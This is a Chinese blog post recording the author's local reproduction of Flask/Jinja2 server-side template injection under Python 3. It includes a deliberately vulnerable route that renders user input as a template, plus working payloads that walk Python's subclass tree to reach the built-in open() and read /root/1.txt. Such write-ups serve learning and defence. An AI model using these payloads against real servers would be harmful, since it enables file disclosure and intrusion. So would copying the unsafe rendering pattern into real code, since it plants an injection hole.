• Flask SSTI | Python3 学习记录


    Flask SSTI | Python3

    引言

    • 昨天原本是打算继续python的每日一练的,这次按日程一样是要练习用一个web框架写一个留言板的,于是打算用flask搞一下,但是正打算写的时候,突然想起来之前做的一些SSTI的例子,遂打算先把练习,放一放,来复现一下FlaskSSTI

    复现历程

    漏洞代码和测试

    • 这次复现参考了不少文章,因为我的环境用的是Python3的,但是现在大多网上有的一些教程都是Python2的,这就导致好多内置函数由于版本的原因用不了,或者被修改了,查阅了不少资料后,终于发现了一个可以用的方式(由于我没有任何限制和过滤,所以仅能测试学习使用),这次参考的一些原理的文章,在最后也会分享给大家┗|`O′|┛ 嗷~~
    • 首先是一个比较简单的存在漏洞的代码
    # -*- coding:utf-8 -*-
    # Author : Konmu
    
    from flask import Flask,url_for,redirect,render_template,render_template_string,request
    app = Flask(__name__)
    
    @app.route('/index/',methods=['GET'])
    def index():
        code = request.args.get('id')
        html = '''
            <h3>%s</h3>
        '''%(code)
        return(render_template_string(html))
    @app.route('/')
    def hello():
        return('Hello world!')
    
    • 这段代码存在漏洞的原因是数据和代码的混淆,代码中的code是用户可控的,会和html拼接后直接带入渲染。
    • 测试效果:
      SSTI

    注入尝试

    • 到这里发现已经可以传入并执行一些相关的表达式了,接下来我们就可以尝试去进行更进一步的语句执行
    • 首先还是和往常SSTI一样去尝试找父类<type 'object'>–>寻找子类–>找关于命令执行或者文件操作的模块(相关文章有很多,这里就不列举了)。
    • 主要来说一下python3这次的一些改变
      1、Python2中的func_globals被重命名到__globals__
      2、__globals__中的linecache已经没有了(可能也被重命名到别处,但是这次找了半天都没能找到)
    • 此外对于子类的索引还是要以注入查询返回的那个索引为准,例如我在本地IDLE中查找的warning.catch_warnings索引是123,但是使用语句是却发现报错,看来一下报错信息才发现真正用的那个索引是169
    • 获取索引方式,我是用的比较笨拙,就是将那些复制下来,然后再在IDLE中查出他的索引

    复现测试

    • 寻找子类
      ?id={{[].__class__.__base__.__subclasses__()}}
      SSTI
    • 由于看到好多文章都说到了,python在导入os模块时会和warning.catch_warnings相关,所以一般尝试找可以执行文件操作的模块时都可以尝试找这个(这次虽然没能找到'os',但是还是在这个模块中找到了另一个可以执行文件读取的函数),但是好像都没人讲一下文章出处和原理(ノへ ̄、)
    • 寻找warning.catch_warnings,寻找方式我上面提到了,这里就不再赘述了,我的找到的索引是169
      SSTI
    • 寻找可以进行文件读写的函数
    • 我这里最终是找的__builtins__,发现在他的属性中居然就直接有open函数,所以就尝试看能不能进行文件操作,最终发现成功
    • [].__class__.__base__.__subclasses__()[169].__init__.__globals__[%27__builtins__%27][%27open%27](%27/root/1.txt%27).read()
      SSTI
    • 这里顺带说一下,我在复现中自己发现的几个自己的知识盲区
    • object.keys()这个返回的是属性,而dir()这个返回的是内置函数
    • python导入模块时,import实际上是python虚拟机把当前的globals()locals()传进__builtins__.__import__内置函数了,所以实际上干活的是那个__import__函数!
    • 大致像这样:
      SSTI
      SSTI
    • jinja2的模板语句学习:https://jinja.palletsprojects.com/en/2.11.x/
    • 对于linecache一直没找到被改去哪了,后面看到相关文章会来补充
    • 关于os模块和warning.catch_warnings关系也还没找到调用的原理,后面打算再看一下官方文档看能不能找到

    参考文章链接(官方文档相关大家就自行查找,这里就不贴出来了)

    • https://www.freebuf.com/articles/system/203208.html
    • https://www.freebuf.com/column/187845.html
    • https://www.cnblogs.com/tsingke/p/7291736.html
    • https://blog.csdn.net/zhtysw/article/details/83022789
    • https://www.cnblogs.com/cioi/p/12308518.html

    总结

    • 经过这次自己的复现,对于Flask SSTI算是有了更深的了解,果然学习东西还是要自己去动手操作才能理解更多,这次复现还有一些问题没能解决,后面看到相关的文章,
      还会和大家继续分享的(๑•̀ㅂ•́)و✧
  • 相关阅读:
    如何将程序集(dll)安装到全局程序集缓存(GAC)中
    当 ftp 遇上 http Proxy
    sql server 2008 帶主鍵table 字段 數據類型修改
    SQL 按指定顺序进行排序
    当发布时报错: 找不到 obj\Debug\Package\PackageTmp\xxx.aspx 文件
    c# 简体 繁体 转换
    SQL SERVER 简体与繁体 定序 轉換
    匿名类型与Lambda表达式
    使用委托实现了在循环中调用不同的方法
    学习源代码的心得
  • 原文地址:https://www.cnblogs.com/Konmu/p/12604408.html
Copyright © 2020-2023  润新知